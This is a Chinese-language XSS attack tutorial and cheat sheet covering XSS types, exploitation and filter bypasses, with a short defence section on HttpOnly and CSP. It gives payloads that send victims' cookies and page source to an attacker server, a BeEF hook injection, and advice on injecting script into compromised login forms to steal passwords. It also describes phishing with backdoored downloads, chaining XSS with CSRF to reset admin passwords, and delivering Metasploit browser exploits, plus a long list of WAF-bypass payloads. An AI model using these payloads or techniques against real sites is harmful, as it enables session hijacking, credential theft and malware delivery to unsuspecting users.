什么是XSS攻击
XSS(Cross Site Scripting)攻击,也称为跨站脚本攻击,是一种常见的网络攻击方式。其原理是恶意攻击者往Web页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的
tips: 产生在前端的攻击
XSS的分类
反射型(非持久型)
攻击代码并未存储在目标服务器上,而是通过URL或其他方式传递给用户。当用户点击包含恶意脚本的链接时,恶意脚本会被执行。
tips: 反射型xss需要人去点击,危害不大,想要扩大危害通常会结合社工钓鱼使用
存储型(持久型)
攻击代码存储在目标服务器上,当用户访问页面时,服务器会将存储的恶意脚本一同发送给用户,从而在用户的浏览器中执行。
tips: 这种攻击通常发生在用户可以提交数据并被其他用户查看的场景,例如论坛、博客、留言板等
利用: 一般发现存储型xss可以结合BeEF平台进行钓鱼利用
DOM型
一种基于文档对象模型的跨站脚本攻击。这种攻击通常发生在Web应用程序将数据写入DOM时,如果没有进行适当的清理和转义,攻击者就可以操纵这些数据,包括在网页上插入恶意的JavaScript代码。
tips: DOM型只涉及到前端JS,其他型会涉及到后端
mXSS(突变型)
原先的payload不会产生危害,但是由于一些特殊原因,如反编码等,导致payload变异,产生危害
如: 本来无害的带有payload的url 通过qq转发 或者一些软件自带的预览功能 产生XSS
uXSS
uXSS是利用浏览器或者浏览器扩展漏洞产生XSS并且执行代码的一种攻击类型
flashXSS
攻击的原理是利用Flash文件(.swf)可以调用JavaScript的函数,如果这些函数使用不当,就可能导致XSS攻击。
挖掘
一般可以通过JPEXS工具去反编译.swf文件然后查找可以调用JS危险函数: getURL,navigateToURL,ExternalInterface.call(常见),htmlText,loadMovie等
看这些函数的参数是否可控制,从而实现XSS攻击
tips: 一般网游和影视网站等调用flash的多,出现此漏洞概率大
pdfXSS
利用pdf文件可以调用JS的功能,向pdf文件中插入恶意JS代码,如果用户使用浏览器打开pdf文件,就会执行恶意代码,一般会使用比较会让人信赖的平台(前提是这个平台没有对此类文件进行过滤)去上传此类pdf文件然后让受害者去直连访问,一般结合钓鱼使用
其他XSS
如: UTF-7XSS MHTMLXSS CSSXSS VBScriptXSS 利用条件过老(需要IE浏览器低版本)
XSS的利用
直接利用
- 获取cookie
<script>window.location.href='http://<vps的ip>:<端口>/<api接口>?<参数名>=' + document.cookie</script>
- 当获取cookie没用的时候(cookie只能用一次或者其他情况),可以试试获取管理员登录时候的网页源码
<script>window.location.href='http://<vps的ip>:<端口>/<api接口>?<参数名>=' + document.documentElement.outerHTML</script>
工具利用
BeEF-XSS 工具:
- 向服务器上传XSS恶意代码
<script src="http:// <vps的ip> : <BeEF端口> /hook.js"></script>
- 只要有人访问便可成功上线BeEF,然后可以进行各种操作,钓鱼,拿cookie登录后台(这种方式只限制于cookie单一验证,或者是无防护的情况)
XSS权限维持
拿到webshell后,一般都会上传木马,但是木马一般会被查杀软件检测,但是js代码却不会,所以可以在web服务的源码中插入js代码(前提是关闭CSP,一般在配置文件中(全局配置),和对应源代码(单独文件设置)),然后使用BeEF等工具进行攻击
tips: 可以在提交表单处(输入账号密码)插入js去得到别人输入的账号密码(cookie劫持不管用,数据库储存的密码是密文的时候特别管用)
XSS配合钓鱼
可以用一些常规软件然后捆绑实现钓鱼,这里用flash来举例子
- 域名伪造 flash可以用f1ash去代替创建域名 或者 用在线网站创建一个短链接
- 扒下原安装页面的的源码 然后修改 将文件下载的路径改成后门下载路径
- 后门免杀和伪装
- 语言诱导,可以用好奇心去诱导(某主播视频流出,或者是什么吃瓜的东西)或者用XSS去提示跳转
XSS配合CSRF
如果目标网站存在可以在在线状态访问一个url达到重置密码的效果(CSRF),就可以配合存储型XSS跳转到这个URL去实现重置管理员的用户密码(在管理员登录的时候)
XSS配合浏览器漏洞上线网马
- msf生成浏览器网马(如:ms14_064_ole_code_execution 只适用于IE内核浏览器 操作系统通常为winxp win7,如果后续有可以利用的浏览器可以替代)
- 然后用xss工具去跳转访问浏览器网马的url 访问及上线
XSS的常见绕过
script标签被过滤: 使用其他标签如img标签,input标签等等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<img src=1 onerror=alert("xss");>
<input onfocus="alert('xss');">
<details ontoggle="alert('xss');">
<svg onload=alert("xss");>
<select onfocus=alert(1)></select>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x onerror=alert("xss");>
<textarea onfocus=alert("xss"); autofocus>
<body/onload=alert("xss");>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex type=image src=1 onerror=alert("xss")> //仅限于IE
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>过滤空格: 用/代替空格
1
<img/src="x"/onerror=alert("xss");>
关键字过滤:
大小写绕过:
1
<ImG sRc=x onerRor=alert("xss");>
字符串拼接:
1
2
3
4
5// 利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 利用top
<script>top["al"+"ert"](`xss`);</script>双写绕过: (有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
1
<imimgg srsrcc=x onerror=alert("xss");>
编码绕过:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20// unicode编码
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
// url编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
// Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
// hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
// 八进制
<img src=x onerror=alert('\170\163\163')>
// base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">过滤双引号,单引号:
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号1
<img src="x" onerror=alert(`xss`);>
过滤括号:(当括号被过滤的时候可以使用throw来绕过)
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
XSS防御
输入输出过滤
对用户的输入进行检查,输入内存长度限定,实体转义,对输出进行检查
httponly设置
HttpOnly
是一个在 HTTP 响应头Set-Cookie
里面的附加标志。它是一种安全标志,用于限制 Cookie 的访问权限。当一个 Cookie 的 HttpOnly 属性被设置为 true 时,这个 Cookie 只能通过服务器端进行修改,JavaScript 是无法访问和修改这个 Cookie 的。这样,浏览器将禁止 JavaScript 对该 Cookie 的访问。
tips: 在用BeEF去hook到了之后依旧可以拿到cookie,因为BeEF不是通过JS去获取Cookie,而是通过反向连接去获得
CSP
CSP,全名为 Content Security Policy,也就是内容安全策略。它是一种由开发者定义的安全性政策性声明,旨在减少跨站脚本攻击(XSS)。
CSP 的工作原理是限制页面可以加载的资源和被其他页面框架的情况。要启用 CSP,响应需要包含一个 HTTP 响应头,该头使用包含策略的值调用。这个策略可以指定可信的内容来源,这里的内容可以指脚本、图片、iframe、字体、样式等等可能的远程的资源。
例如,你可以设置一个 CSP 策略,只允许从你自己的网站加载脚本,而不允许从其他任何网站加载脚本。这样,即使攻击者成功地将一个恶意脚本注入到你的网页中,这个脚本也无法被执行,因为它不符合你的 CSP 策略。
总的来说,CSP 是一种重要的 Web 安全机制,它可以帮助防止跨站脚本攻击(XSS)和其他一些攻击。通过正确地设置 CSP 策略,开发人员可以提高 Web 应用程序的安全性,并保护用户的隐私和敏感信息。